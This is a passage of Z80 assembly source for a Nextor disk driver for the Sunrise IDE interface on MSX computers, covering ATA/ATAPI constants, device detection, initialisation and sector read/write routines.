.PWRSECTRT equ #30
.DEVDIAG equ #90
.IDENTIFY equ #EC
.SETFEATURES equ #EF
ATAPICMD:
.RESET equ #08
.PACKET equ #A0
.IDENTPACKET equ #A1
PACKETCMD:
.RQSENSE equ #03 ;
.RDCAPACITY equ #25 ; Read the media capacity
.READ10 equ #28 ; Read sectors (16bit)
.READ12 equ #A8 ; Read sectors (32bit)
.WRITE10 equ #2A ; Write sectors (16bit)
.WRITE12 equ #AA ; Write sectors (32bit)
.GTMEDIASTAT equ #DA ; Get media status
;-----------------------------------------------------------------------------
;
; Standard BIOS entries
CALSLT equ #001C
DCOMPR equ #0020 ; Compare register pairs HL and DE
INITXT equ #006C
CHSNS equ #009C ; Sense keyboard buffer for character
CHGET equ #009F ; Get character from keyboard buffer
CHPUT equ #00A2 ; A=char
BREAKX equ #00B7 ; Check CTRL-STOP key directly
CLS equ #00C3 ; Chamar com A=0
ERAFNK equ #00CC ; Erase function key display
SNSMAT equ #0141 ; Read row of keyboard matrix
KILBUF equ #0156 ; Clear keyboard buffer
EXTROM equ #015F
CHGCPU equ #0180
GETCPU equ #0183
; subROM functions
SDFSCR equ #0185
REDCLK equ #01F5
; System variables
MSXVER equ #002D
LINL40 equ #F3AE ; Width
LINLEN equ #F3B0
BDRCLR equ #F3EB
BASROM equ #FBB1
INTFLG equ #FC9B
JIFFY equ #FC9E
SCRMOD equ #FCAF
EXPTBL equ #FCC1
;-----------------------------------------------------------------------------
;
; Work area definition
;
;+0: Device and logical units types for master device
; bits 0,1: Device type
; 00: No device connected
; 01: ATA hard disk, CHS only
; 10: ATA hard disk, LBA supported
; 11: ATAPI device
; bits 2,3: Device type for LUN 1 on master device
; 00: Block device, non-removable
; 01: Block device, removable
; 10: Other, non removable
; 11: CD-ROM
; bits 4,5: Device type for LUN 2 on master device
; bits 6,7: Device type for LUN 3 on master device
; Inside DRV_INIT only: b7=1 error detected on diagnostics
; b6~b0: reported error code
;
;+1: Logical unit types for master device
; bits 0,1: Device type for LUN 4 on master device
; bits 2,3: Device type for LUN 5 on master device
; bits 4,5: Device type for LUN 6 on master device
; bits 6,7: Device type for LUN 7 on master device
;
;+2,3: Reserved for CHS data for the master device (to be implemented)
;
;+4..+7: Same as +0..+3, for the slave device
;
; Note: Actually, due to driver limitations, currently only the
; "device type" bits are used, and with possible values 00 and 10 only.
; LUN type bits are always 00.
STRUCT DEVINFO ; Contains information about a specific device
BASE ; Offset to the base of the data structure
t321D db
t7654 db
;CHSRESERVED ds 2 ; Disabled to save space. 2 bytes won't be enough anyway
SECTSIZE dw ; Sector size for this device
pBASEWRK dw ; Cache pointer to go back to the base of the work area
ENDS
STRUCT WRKAREA
BASE ; Offset to the base of the data structure
BLKLEN dw ; Size of the block to be copied. ***Must be
; \the first element of the WRKAREA
PCTBUFF ds 16 ; Buffer to send ATAPI PACKET commands
LDIRHLPR ds 8 ; LDIR data transter helper routine. This is
; in RAM to speed up the R800 copy a lot.
MASTER DEVINFO ; Offset to the MASTER data structure
SLAVE DEVINFO ; Offset to the SLAVE data structure
; \*** It must follow the MASTER DEVINFO
ENDS
STRUCT WRKTEMP
pDEVMSG dw ; Pointer to the text "Master:" or "Slave:"
BUFFER ds 512 ; Buffer for the IDENTIFY info
ENDS
; ATAPI/SCSI packet structures
STRUCT PCTRW10 ; PACKET READ10/WRITE10 structure
OPCODE db
OPTIONS db
LBA dd
GROUP db
LENGHT dw
CONTROL db
ENDS
STRUCT PCTRW12 ; PACKET READ12/WRITE12 structure
OPCODE db
OPTIONS db
LBA dd
LENGHT dd
GROUP db
CONTROL db
ENDS
;-----------------------------------------------------------------------------
;
; Error codes for DEV_RW and DEV_FORMAT
;
_NCOMP equ 0FFh
_WRERR equ 0FEh
_DISK equ 0FDh
_NRDY equ 0FCh
_DATA equ 0FAh
_RNF equ 0F9h
_WPROT equ 0F8h
_UFORM equ 0F7h
_SEEK equ 0F3h
_IFORM equ 0F0h
_IDEVL equ 0B5h
_IPARM equ 08Bh
;-----------------------------------------------------------------------------
;
; Routines available on kernel page 0
;
;* Get in A the current slot for page 1. Corrupts F.
; Must be called by using CALBNK to bank 0:
; xor a
; ld ix,GSLOT1
; call CALBNK
GSLOT1 equ 402Dh
;* This routine reads a byte from another bank.
; Must be called by using CALBNK to the desired bank,
; passing the address to be read in HL:
; ld a,bank
; ld hl,address
; ld ix,RDBANK
; call CALBNK
RDBANK equ 403Ch
;* This routine temporarily switches kernel bank 0/3,
; then jumps to CALBAS in MSX BIOS.
; This is necessary so that kernel bank is correct in case of BASIC error.
CALBAS equ 403Fh
;* Call a routine in another bank.
; Must be used if the driver spawns across more than one bank.
; Input: A = bank
; IX = routine address
; AF' = AF for the routine
; BC, DE, HL, IY = input for the routine
CALBNK equ 4042h
;* Get in IX the address of the SLTWRK entry for the slot passed in A,
; which will in turn contain a pointer to the allocated page 3
; work area for that slot (0 if no work area was allocated).
; If A=0, then it uses the slot currently switched in page 1.
; Returns A=current slot for page 1, if A=0 was passed.
; Corrupts F.
; Must be called by using CALBNK to bank 0:
; ld a,slot
; ex af,af'
; xor a
; ld ix,GWORK
; call CALBNK
GWORK equ 4045h
;* Call a routine in the driver bank.
; Input: (BK4_ADD) = routine address
; AF, BC, DE, HL, IY = input for the routine
;
; Calls a routine in the driver bank. This routine is the same as CALBNK,
; except that the routine address is passed in address BK4_ADD (#F2ED)
; instead of IX, and the bank number is always 5. This is useful when used
; in combination with CALSLT to call a driver routine from outside
; the driver itself.
;
; Note that register IX can't be used as input parameter, it is
; corrupted before reaching the invoked code.
CALDRV equ 4048h
;* Set the current bank
; Must be used exclusively by the MSXBOOT routine
SETBNK equ 7FD0h
;-----------------------------------------------------------------------------
;
; Built-in format choice strings
;
NULL_MSG equ 741Fh ;Null string (disk can't be formatted)
SING_DBL equ 7420h ;"1-Single side / 2-Double side"
;-----------------------------------------------------------------------------
;
; Driver signature
;
db "NEXTOR_DRIVER",0
; Driver flags:
; bit 0: 0 for drive-based, 1 for device-based
; bit 1: 1 for hot-plug devices supported (device-based drivers only)
db 1+(2*DRV_HOTPLUG)
;Reserved byte
db 0
;Driver name
DRV_NAME:
db "Sunrise IDE"
ds 32-($-DRV_NAME)," "
;Jump table
jp DRV_TIMI
jp DRV_VERSION
jp DRV_INIT
jp DRV_BASSTAT
jp DRV_BASDEV
jp DRV_EXTBIO
jp DRV_DIRECT0
jp DRV_DIRECT1
jp DRV_DIRECT2
jp DRV_DIRECT3
jp DRV_DIRECT4
ds 15
jp DEV_RW
jp DEV_INFO
jp DEV_STATUS
jp LUN_INFO
jp DEV_FORMAT
jp DEV_CMD
;-----------------------------------------------------------------------------
;
; Timer interrupt routine, it will be called on each timer interrupt
; (at 50 or 60Hz), but only if DRV_INIT returns Cy=1 on its first execution.
DRV_TIMI:
ret
;-----------------------------------------------------------------------------
;
; Driver initialization, it is called twice:
;
; 1) First execution, for information gathering.
; Input:
; A = 0
; B = number of available drives (drive-based drivers only)
; HL = maximum size of allocatable work area in page 3
; Output:
; A = number of required drives (for drive-based driver only)
; HL = size of required work area in page 3
; Cy = 1 if DRV_TIMI must be hooked to the timer interrupt, 0 otherwise
;
; 2) Second execution, for work area and hardware initialization.
; Input:
; A = 1
; B = number of allocated drives for this controller
; (255 if device-based driver, unless 4 is pressed at boot)
;
; The work area address can be obtained by using GWORK.
;
; If first execution requests more work area than available,
; second execution will not be done and DRV_TIMI will not be hooked
; to the timer interrupt.
;
; If first execution requests more drives than available,
; as many drives as possible will be allocated, and the initialization
; procedure will continue the normal way
; (for drive-based drivers only. Device-based drivers always
; get two allocated drives.)
DRV_INIT:
ld hl,WRKAREA ; size of work area
or a ; Clear Cy
ret z
; 2nd call:
ld a,(CHGCPU)
cp #C3 ; IS CHGCPU present?
jr nz,.call2ini
call GETCPU
push af ; Save the current CPU
ld a,#82
call CHGCPU ; Enable the turbo
.call2ini:
call MYSETSCR
ld de,INFO_S
call PRINT
xor a ; Request the WorkArea base pointer
call MY_GWORK
call INIWORK ; Initialize the work-area
call IDE_ON
.init: ld (ix+WRKAREA.MASTER.t321D),#FE ; error: No master detected yet
ld de,INIT_S ; Print "Initializing: "
call PRINT
ld a,M_DEV ; Select SLAVE
call WAIT_BSY ; Is the it alive?
jr c,.reset ; No, reset everyone
xor a ; select MASTER
call SELDEV
call WAIT_BSY ; Is the it alive?
jr nc,.diag ; Yes, skip
.reset:
call RESET_ALL
.diag:
ld a,(INTFLG)
cp 3 ; CTRL+STOP pressed?
jp z,INIT_ABORTED
ld a,ATACMD.DEVDIAG ; Both drives will execute diagnostics
ld (IDE_CMD),a
call WAIT_RST ; Wait for the diagnostics to end
ld a,(INTFLG)
cp 3 ; CTRL+STOP pressed?
jp z,INIT_ABORTED
ld a,(IDE_STATUS)
and M_ERR ; Error bit set?
jr nz,.diagchk ; on error, skip to diagnostics
ld (ix+WRKAREA.MASTER.t321D),0 ; Clear undetected master error
.diagchk:
; Check the diagnostics and print the results
call CHKDIAG
push af
ld de,INIT_S ; Print "Initializing: "
call PRINT
pop af
ld de,OK_S
call nc,PRINT
ld de,ERROR_S
call c,PRINT
.chkmaster:
ld de,MASTER_S
ld (TEMP_WORK.pDEVMSG),de
call PRINT
; Check for DIAGNOSTICS errors
ld a,(ix+WRKAREA.MASTER.t321D)
ld c,a
bit 7,a ; Any error detected by DIAGNOSE?
jr z,.detinit ; No, skip
call DIAGERRPRT ; Print the diagnostic error
ld (ix+WRKAREA.MASTER.t321D),0 ; This device isn't available
; Errors 0 and 5 are critical and cannot proceed
ld a,c
and #7F ; Crop erro code
jr z,.critical
cp 5 ; Microcontroller error on master?
jp nz,.chkslave ; No: slave can still be used safely
.critical:
ld (ix+WRKAREA.SLAVE.t321D),0 ; No master = no slave
jp DRV_INIT_END ; Finish DEV_INIT
.detinit:
ld a,M_DEV ; Select SLAVE
call SELDEV
call WAIT_RST ; wait until ready
jr nc,.detmaster
ld (ix+WRKAREA.SLAVE.t321D),#80 ; Slave has an error
.detmaster:
call RESET_ALL.ataonly
push ix
ld de,WRKAREA.MASTER
add ix,de ; Point ix to the MASTER work area
xor a ; Select MASTER
call DETDEV
pop ix
ld a,(ix+WRKAREA.MASTER.t321D)
and 3 ; There can't be a slave without a master
jr z,INIT_MASTERFAIL ; Finish DEV_INIT
.chkslave:
ld de,SLAVE_S
ld (TEMP_WORK.pDEVMSG),de
call PRINT
; Check for DIAGNOSTICS errors
ld a,(ix+WRKAREA.SLAVE.t321D)
bit 7,a ; Any error detected by DIAGNOSE?
jr z,.detslave ; No, skip to detection
call DIAGERRPRT ; Print the diagnostic error
ld (ix+WRKAREA.SLAVE.t321D),0 ; This device isn't available
jp DRV_INIT_END
.detslave:
push ix
ld de,WRKAREA.SLAVE.BASE
add ix,de ; Point ix to the SLAVE work area
ld a,M_DEV ; Select SLAVE
call DETDEV
pop ix
; Reset all devices to finish
END_DETECT:
call RESET_ALL
;--- End of the initialization procedure
DRV_INIT_END:
call IDE_OFF
call INICHKSTOP
ld de,CRLF_S ; Skip a line for the next driver
call PRINT
; ***Workaround for a bug in Nextor that causes it to freeze if
; CTRL+STOP was pressed on boot
ld a,(INTFLG)
cp 3 ; Is CTRL+STOP still signaled?
jr nz,.restCPU ; no, skip
xor a
ld (INTFLG),a ; Clear CTRL+STOP otherwise Nextor will freeze
.restCPU: ; Restore the CPU if necessary
ld a,(CHGCPU)
cp #C3 ; IS CHGCPU present?
ret nz
pop af
or #80
jp CHGCPU
INIT_ABORTED:
ld de,ABORTED_S ; Print "<aborted>"
jr INIT_MASTERFAIL.end
INIT_MASTERFAIL:
ld de,DIAGS_S.nomaster ; Print "failed">
call PRINT
.end: ld (ix+WRKAREA.MASTER.t321D),0
ld (ix+WRKAREA.SLAVE.t321D),0
jr DRV_INIT_END
;--- Subroutines for the INIT procedure
; Input: A=target device
; (TEMP_WORK.pDEVMSG): Pointer to the "Master" or "Slave" text
DETDEV:
ld c,a ; c=target device
ld de,DETECT_S ; Print "detecting"
call PRINT
ld a,(INTFLG)
cp 3 ; Was CTRL+STOP signaled?
jp z,.aborted ; Yes, skip
ld a,c ; Select device
call SELDEV
call WAIT_BSY ; wait until ready
jp c,.nodev
call DISDEVINT ; Disable interrupts
jp c,.nodev
ld a,'.' ; Print the FIRST dot
call CHPUT
;--- Get the device type
call GETDEVTYPE ; Get the device type
ei
ld (ix+DEVINFO.t321D),a
jp c,.nodev
cp #FF
jp z,.unknown
;---Configure the PIO transfer mode
IFDEF PIOMODE3
ld a,3 ; Set transfer mode
ld (IDE_FEAT),a
ld a,#8+#3 ; PIO flow control, mode 3, so
; IORDY becomes functional
ld (IDE_SECCNT),a
ld a,ATACMD.SETFEATURES
ld (IDE_CMD),a
call WAIT_BSY
jr c,.unsupported ; No PIO3? This device is too old
ENDIF
;--- Get the name of the device
;(IDENTIFY device data on TEMP_WORK.BUFFER)
.getinfo:
ld de,(TEMP_WORK.pDEVMSG)
call PRINT
;Print the device name.
ld hl,TEMP_WORK.BUFFER+27*2
ld b,20
call .prtword
; Print the firmware version
ld hl,TEMP_WORK.BUFFER+23*2
ld b,4
call .prtword
; Print the device characteristics
ld de,DETECT_S.oparenthesis
call PRINT
ld a,(ix+DEVINFO.t321D)
and 3 ; Crop devtype
ld de,DETECT_S.chs
dec a
jr z,.printdevtype
ld de,DETECT_S.lba
dec a
jr z,.printdevtype
ld de,DETECT_S.atapi
.printdevtype:
call PRINT
ld a,')'
call CHPUT
ld de,CRLF_S
jp PRINT
; --- Print an word string
; input: HL=string ponter
; B=Number of words to print
.prtword:
ld c,(hl)
inc hl
ld a,(hl)
inc hl
call CHPUT
ld a,c
call CHPUT
djnz .prtword
ret
;--- Unknown device
.unknown:
ld (ix+DEVINFO.t321D),a
ld de,DETECT_S.unknown
call PRINT
ld a,h
call PRINTHEXBYTE
ld a,l
call PRINTHEXBYTE
ld a,'h'
call CHPUT
ld de,CRLF_S
jp PRINT
;--- Unsupported device (either too old or too new)
.unsupported:
ld de,DETECT_S.unsupported
jr .nodevreason
;--- No device was found
.nodev:
ld de,NODEVS_S
;--- Prints the reason why there will be no device reported here
.nodevreason:
ld (ix+DEVINFO.t321D),0
push de
ld de,(TEMP_WORK.pDEVMSG)
call PRINT ; Clear previous label message
pop de
jp PRINT
;--- Dectection aborted by the user
.aborted:
ld de,ABORTED_S
jr .nodevreason
;-----------------------------------------------------------
WAIT_RST:
; Wait for the BSY flat to be reset for the selected device
; Output: Cy set= timeout
; (INTFLG)=3 if the user pressed CTRL+STOP
; Note: This routine is intended to wait BSY for long periods, as required
; by soft-reset and DIAGNOSTICS.
; Step-1: Fast reset
; Will catch devices that reset quicly, like CFs and HDDs that are already spinning
ld de,5*60 ; Wait for up to 5s
.wait1:
ld a,e
and 127 ; Is it the time to print a dot?
ld a,'.'
call z,CHPUT ;Yes, print dots while waiting
call BREAKX
ret c
ld bc,#0505 ;5 fast retries for 5 short pauses
.wait2:
ld a,(INTFLG)
cp 3 ; was CTRL+STOP still signaled?
ret z
ld a,(IDE_STATUS)
and M_BSY
ret z ; This ATA device has finished its reset
djnz .wait2
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
dec c
jr nz,.wait2
dec de
ld a,e
or d
halt ;Give the device some time to breath
jr nz,.wait1
scf
ret
;Check that a device is present and usable.
;Input: DIAGNOSTICS issued successfully.
;Output: A=devtype. 0=nodev, 1=CHS, 2=LBA, 3=ATAPI
; Cy=0 for device ok, 1 for no device or not usable.
; If device ok, 50 first bytes of IDENTIFY device copied to TEMP_WORK.
GETDEVTYPE:
; Input: none
; Output: A=devtype. 0=none, 1=CHS, 2=LBA, 3=ATAPI
; Cy on if the device is undetected or unknown
; When Cy=on, HL will contain the signature of the unknown device
; Notes:
; Device Signatures are checked according to the ATA/ATAPI Command Set-3
; (ACS-3) revision-5 document, page-347.
; PATA PATAPI SATA SATAPI
; COUNT : 01h 01h 01h 01h
; LBA 23-16: 00h EBh C3h 96h
; LBA 8-15: 00h 14h 3Ch 69h
; LBA 0-7: 01h 01h 01h 01h
; This signatures are output by the following commands:
; - DEVICE RESET (08h)
; - DEVICE DIAGNOSTIC (90h)
; - IDENTIFY DEVICE (ECh)
; - READ SECTOR(S) (20h)
; Note by Piter: Not all devices respect this. One of my CompactFlash
; cards never have Sector Count = 01 after reset.
;ld a,(IDE_SECCNT)
;cp 1
;jr nz,INIT_CHECK_NODEV
ld hl,(IDE_LBAMID)
ld de,#EB14 ; PATAPI signature?
rst DCOMPR
ld a,3 ; devtype=ATAPI
jr z,.identify
ld de,#9669 ; SATAPI signature?
rst DCOMPR
ld a,3 ; devtype=ATAPI
jr z,.identify
ld de,#0000 ; PATA signature?
rst DCOMPR
ld a,1 ; devtype=CHS
jr z,.identify
ld de,#C33C ; SATA signature?
rst DCOMPR
ld a,2 ; devtype=LBA
jr z,.identify
ld de,#7F7F ; Unconnected signature?
rst DCOMPR
scf
ret z ; Yes, quit with Cy
ld de,#FFFF ; Unconnected signature?
rst DCOMPR
scf
ret z ; Yes, quit with Cy
.unkdev: ; Unknown device
ld a,#FF
or a
ret
.identify:
ld b,a ; b=devtype
cp 3 ; ATAPI?
ld a,ATACMD.IDENTIFY ;Send IDENTIFY commad
jr c,.identify2
ld a,ATAPICMD.IDENTPACKET ;Send IDENTIFY PACKET commad
.identify2:
di
call PIO_CMD
ld a,0 ; Return 0 on error
ret c
ld a,b ; a=devtype
ld hl,IDE_DATA
ld de,TEMP_WORK.BUFFER
ld bc,512 ;Read the IDENTIFY packet
ldir
ei
cp 2 ; SATA or ATAPI?
ret nc ; Yes, return
.chkLBA:
ld a,(TEMP_WORK.BUFFER+49*2+1)
and 2 ; LBA supported?
ld a,1 ; devtype=CHS
ret z ; No, return
inc a ; devtype=LBA
ret
;-----------------------------------------------------------------------------
;
; Obtain driver version
;
; Input: -
; Output: A = Main version number
; B = Secondary version number
; C = Revision number
DRV_VERSION:
ld a,VER_MAIN
ld b,VER_SEC
ld c,VER_REV
ret
;-----------------------------------------------------------------------------
;
; BASIC expanded statement ("CALL") handler.
; Works the expected way, except that CALBAS in kernel page 0
; must be called instead of CALBAS in MSX BIOS.
DRV_BASSTAT:
scf
ret
;-----------------------------------------------------------------------------
;
; BASIC expanded device handler.
; Works the expected way, except that CALBAS in kernel page 0
; must be called instead of CALBAS in MSX BIOS.
DRV_BASDEV:
scf
ret
;-----------------------------------------------------------------------------
;
; Extended BIOS hook.
; Works the expected way, except that it must return
; D'=1 if the old hook must be called, D'=0 otherwise.
; It is entered with D'=1.
DRV_EXTBIO:
ret
;-----------------------------------------------------------------------------
;
; Direct calls entry points.
; Calls to addresses 7450h, 7453h, 7456h, 7459h and 745Ch
; in kernel banks 0 and 3 will be redirected
; to DIRECT0/1/2/3/4 respectively.
; Receives all register data from the caller except IX and AF'.
DRV_DIRECT0:
DRV_DIRECT1:
DRV_DIRECT2:
DRV_DIRECT3:
DRV_DIRECT4:
ret
;=====
;===== BEGIN of DEVICE-BASED specific routines
;=====
;-----------------------------------------------------------------------------
;
; Read or write logical sectors from/to a logical unit
;
;Input: Cy=0 to read, 1 to write
; A = Device number, 1 to 7
; B = Number of sectors to read or write
; C = Logical unit number, 1 to 7
; HL = Source or destination memory address for the transfer
; DE = Address where the 4 byte sector number is stored
;Output: A = Error code (the same codes of MSX-DOS are used):
; 0: Ok
; _IDEVL: Invalid device or LUN
; _NRDY: Not ready
; _DISK: General unknown disk error
; _DATA: CRC error when reading
; _RNF: Sector not found
; _UFORM: Unformatted disk
; _WPROT: Write protected media, or read-only logical unit
; _WRERR: Write error
; _NCOMP: Incompatible disk
; _SEEK: Seek error
; B = Number of sectors actually read/written
DEV_RW:
push af
call MY_GWORK ; ix=Work area pointer for this device
push bc
ld b,c ;b=LUN
call CHECK_DEV_LUN
pop bc
jp c,DEV_RW_NODEV
dec a
jr z,DEV_RW2
ld a,M_DEV
DEV_RW2:
ld c,a ;c=dev# in IDE format
ld a,b
or a
jr nz,DEV_RW_NO0SEC
pop af ;Discard the device number that was on stack
xor a
ld b,0
ret
DEV_RW_NO0SEC:
ld iy,de
ld a,(iy+3)
and 11110000b
jp nz,DEV_RW_NOSEC ;Only 28 bit sector numbers supported
call IDE_ON
ld a,(ix+DEVINFO.t321D)
and 3 ; Crop devtype
cp 3 ; ATAPI?
jp z,DEV_ATAPI_RW
DEV_ATA_RW:
ld a,(iy+3)
or M_LBA
or c ; Mix with dev# in IDE format
call SELDEV ; IDE_HEAD must be written first,
ld a,(iy) ; or the other IDE_LBAxxx and IDE_SECCNT
ld (IDE_LBALOW),a ; registers will not get a correct value
ld e,(iy+1) ; (blueMSX issue?)
ld d,(iy+2)
ld (IDE_LBAMID),de
ld a,b
ld (IDE_SECCNT),a
pop af ; a=device number in Nextor format
jp c,DEV_ATA_WR
;---
;--- ATA READ
;---
DEV_ATA_RD:
ld a,ATACMD.PRDSECTRT ; PIO read sector with retry
call PIO_CMD
jp c,DEV_RW_ERR
call CHK_RW_FAULT
ret c
ld iyl,b ; iyl=number of blocks
ex de,hl ; de=destination address
ld bc,512 ; block size ***Hardcoded. Ignores (BLKLEN)
call READ_DATA
jp c,DEV_RW_ERR
call IDE_OFF
xor a ; A=0: No error.
ret
;---
;--- ATA WRITE
;---
DEV_ATA_WR:
ld a,ATACMD.PWRSECTRT ; PIO write sector with retry
call PIO_CMD
jp c,DEV_RW_ERR
ld iyl,b ; iyl=number of blocks
ld bc,512 ; block size ***Hardcoded. Ignores (BLKLEN)
call WRITE_DATA
jp c,DEV_RW_ERR
call IDE_OFF
xor a ; A=0: No error.
ret
DEV_ATAPI_RW:
ld a,c ;Get devnum in IDE format
call SELDEV
; Fill the READ10/WRITE10 packet structure
push de
ld e,(ix+DEVINFO.pBASEWRK) ; hl=pointer to WorkArea
ld d,(ix+DEVINFO.pBASEWRK+1)
ld iy,de ; iy=WRKAREA pointer
pop de
; Set the block size
ld a,(ix+DEVINFO.SECTSIZE)
ld (iy+WRKAREA.BLKLEN),a
ld a,(ix+DEVINFO.SECTSIZE+1)
ld (iy+WRKAREA.BLKLEN+1),a
ld (iy+WRKAREA.PCTBUFF+PCTRW10.LENGHT),0
ld (iy+WRKAREA.PCTBUFF+PCTRW10.LENGHT+1),b
ld a,(de)
ld (iy+WRKAREA.PCTBUFF+PCTRW10.LBA+3),a
inc de
ld a,(de)
ld (iy+WRKAREA.PCTBUFF+PCTRW10.LBA+2),a
inc de
ld a,(de)
ld (iy+WRKAREA.PCTBUFF+PCTRW10.LBA+1),a
inc de
ld a,(de)
ld (iy+WRKAREA.PCTBUFF+PCTRW10.LBA+0),a
; Set the fields that we don't need to 0
xor a
ld (iy+WRKAREA.PCTBUFF+PCTRW10.OPTIONS),a
ld (iy+WRKAREA.PCTBUFF+PCTRW10.GROUP),a
ld (iy+WRKAREA.PCTBUFF+PCTRW10.CONTROL),a
ld (iy+WRKAREA.PCTBUFF+PCTRW12.GROUP),a
ld (iy+WRKAREA.PCTBUFF+PCTRW12.CONTROL),a
ld de,512 ;Set the buffer size to the 512 bytes
ld (IDE_LBAMID),de
;
pop af ; a=device number in Nextor format, f=r/w flag
jp c,DEV_ATAPI_WR
;
DEV_ATAPI_RD:
ld a,PACKETCMD.READ12
ld (iy+WRKAREA.PCTBUFF+PCTRW10.OPCODE),a
ld a,ATAPICMD.PACKET ; PIO send PACKET command
call PIO_CMD
jp c,DEV_RW_ERR
push bc,hl,iy
ld iyl,1 ; 1 block
ld hl,WRKAREA.PCTBUFF
ld bc,PCTRW10 ; block size=10 bytes
call WRITE_DATA ; Send the packet to the device
pop iy,hl,bc
jp c,DEV_RW_ERR
.init1: ; Set the sector size and number of blocks
; sizes bigger than 512 must be a multiple of 512
ld a,(ix+DEVINFO.SECTSIZE+1)
srl a ; SECTSIZE=SECTSIZE/512 (the IDE buffer can
; transfer only 512 bytes per time)
ld de,512 ; block size=512
jr nz,.init2 ; Skip if the boundary check is ok
inc a ; Keep the block count to at least 1
ld e,(ix+DEVINFO.SECTSIZE)
ld d,(ix+DEVINFO.SECTSIZE+1)
.init2:
ld c,a ; c=number of 512-byte blocks per sector
push bc
ld bc,de ; bc=block size
call SETLDIRHLPR ; hl'=Pointer to LDIR helper in RAM
pop bc
ex de,hl ; de=destination address
.loopsector:
push bc
ld iyl,c ; get the number of blocks per sector
.loopblock:
call WAIT_DRQ
jr c,.rderr
ld hl,IDE_DATA
call RUN_HLPR
dec iyl
jr nz,.loopblock
pop bc
djnz .loopsector
call IDE_OFF
xor a
ret
.rderr: ; Allows the read loop to run faster with a jr
jp DEV_RW_ERR
DEV_ATAPI_WR:
ld a,PACKETCMD.WRITE10
ld (iy+WRKAREA.PCTBUFF+PCTRW10.OPCODE),a
ld a,ATAPICMD.PACKET ; PIO send PACKET command
call PIO_CMD
jp c,DEV_RW_ERR
push bc,hl,iy
ld iyl,1 ; 1 block
ld hl,WRKAREA.PCTBUFF
ld bc,PCTRW10 ; block size=10 bytes
call WRITE_DATA ; Send the packet to the device
pop iy,hl,bc
jp c,DEV_RW_ERR
.init1: ; Set the sector size and number of blocks
; sizes bigger than 512 must be a multiple of 512
ld a,(ix+DEVINFO.SECTSIZE+1)
srl a ; SECTSIZE=SECTSIZE/512 (the IDE buffer can
; transfer only 512 bytes per time)
ld de,512 ; block size=512
jr nz,.init2 ; Skip if the boundary check is ok
inc a ; Keep the block count to at least 1
ld e,(ix+DEVINFO.SECTSIZE)
ld d,(ix+DEVINFO.SECTSIZE+1)
.init2:
ld c,a ; c=number of 512-byte blocks per sector
push bc
ld bc,de ; bc=block size
call SETLDIRHLPR ; hl'=Pointer to LDIR helper in RAM
pop bc
.loopsector:
push bc
ld iyl,c ; get the number of blocks per sector
.loopblock:
call WAIT_DRQ
jr c,.rderr
ld de,IDE_DATA
call RUN_HLPR
call CHK_RW_FAULT
jr c,.rderr
dec iyl
jp nz,.loopblock
pop bc
djnz .loopsector
call IDE_OFF
xor a
ret
.rderr: ; Allows the read loop to run faster with a jr
; jp DEV_RW_ERR
;---
;--- ERROR ON READ/WRITE
;---
DEV_RW_ERR:
ld a,(IDE_ERROR)
ld b,a ; b=IDE_ERROR
call IDE_OFF
bit NM,b ;Not ready
jr nz,DEV_R_ERR1
ld a,_NRDY
ld b,0
ret
DEV_R_ERR1:
bit IDNF,b ;Sector not found
jr nz,DEV_R_ERR2
ld a,_RNF
ld b,0
ret
DEV_R_ERR2:
bit WP,b ;Write protected
jr nz,DEV_R_ERR3
ld a,_WPROT
ld b,0
ret
DEV_R_ERR3:
ld a,_DISK ;Other error
ld b,0
ret
;--- Termination points
DEV_RW_NOSEC:
call IDE_OFF
pop af
ld a,_RNF
ld b,0
ret
DEV_RW_NODEV:
call IDE_OFF
pop af
ld a,_IDEVL
ld b,0
ret
;-----------------------------------------------------------------------------
;
; Device information gathering
;
;Input: A = Device index, 1 to 7
; B = Information to return:
; 0: Basic information
; 1: Manufacturer name string
; 2: Device name string
; 3: Serial number string
; HL = Pointer to a buffer in RAM
;Output: A = Error code:
; 0: Ok
; 1: Device not available or invalid device index
; 2: Information not available, or invalid information index
; When basic information is requested,
; buffer filled with the following information:
;
;+0 (1): Numer of logical units, from 1 to 8. 1 if the device has no logical
; drives (which is functionally equivalent to having only one).
;+1 (1): Flags, always zero
;
; The strings must be printable ASCII string (ASCII codes 32 to 126),
; left justified and padded with spaces. All the strings are optional,
; if not available, an error must be returned.
; If a string is provided by the device in binary format, it must be reported
; as an hexadecimal, upper-cased string, preceded by the prefix "0x".
; The maximum length for a string is 64 characters;
; if the string is actually longer, the leftmost 64 characters
; should be provided.
;
; In the case of the serial number string, the same rules for the strings
; apply, except that it must be provided right-justified,
; and if it is too long, the rightmost characters must be
; provided, not the leftmost.
DEV_INFO:
;Check device index boundaries
or a
jp z,.error1
cp 3
jp nc,.error1
call MY_GWORK
ld c,a
ld a,b
or a
jr nz,.strings
;--- Obtain basic information
ld a,(ix+DEVINFO.t321D) ; Get current device type
and 3 ;Device available?
jr z,.error1
ld (hl),1 ;One single LUN
inc hl
ld (hl),0 ;Always zero
xor a
ret
;--- Obtain string information
.strings:
call IDE_ON
ld a,c
dec a
jr z,.swcase
ld a,M_DEV
.swcase:
call SELDEV
ld a,b
dec a ; A=1? (Manufacturer name)
jr z,.error2 ; Yes, quit. IDE doesn't have it.
dec a ; A=2? (Device name)
jr z,.devname
dec a ; A=3? (Serial number)
jr nz,.error2 ; No, quit with error
jr .devserial ; Skip to serial number routine
;--- Device name
.devname:
; push hl
call DEV_STRING_CLR
ld bc,#1B14 ; Device name word on IDENTIFY
call DEV_STRING_DIGEST
; pop hl
jr c,.error1
; ld bc,#1708
; ld de,21
; add hl,de
; call DEV_STRING_DIGEST ; Get the device version
; jr c,.error1
call IDE_OFF
xor a
ret
;--- Serial number
.devserial:
call DEV_STRING_CLR
ld bc,#0A0A
ld de,44
add hl,de ;Since the string is 20 chars long
call DEV_STRING_DIGEST
jr c,.error1
call IDE_OFF
xor a
ret
;--- Termination with error
.error1:
call IDE_OFF
ld a,1
scf
ret
.error2:
call IDE_OFF
ld a,2
ret
;--- Clear the destination buffer
; Input : HL = 64 bytes string buffer
; Modifies: AF, BC
DEV_STRING_CLR:
push hl
ld a,' '
ld b,64
.loopclr:
ld (hl),a
inc hl
djnz .loopclr
pop hl
ret
;Common processing for obtaining a device information string
;Input : B = Offset of the string in the device information (words)
; C = Size of the string to be copied to the buffer (bytes)
; HL = Destination address for the string
;Modifies: AF, BC, DE, HL
DEV_STRING_GET:
push hl
; Calculate the number of bytes that will remain
ld a,c
srl a ; a=number of words in the string
add b ; a=number of words to be consumed
ld e,a
ld d,0
ld hl,256
or a
sbc hl,de
ld h,l ; h=number of remaining words
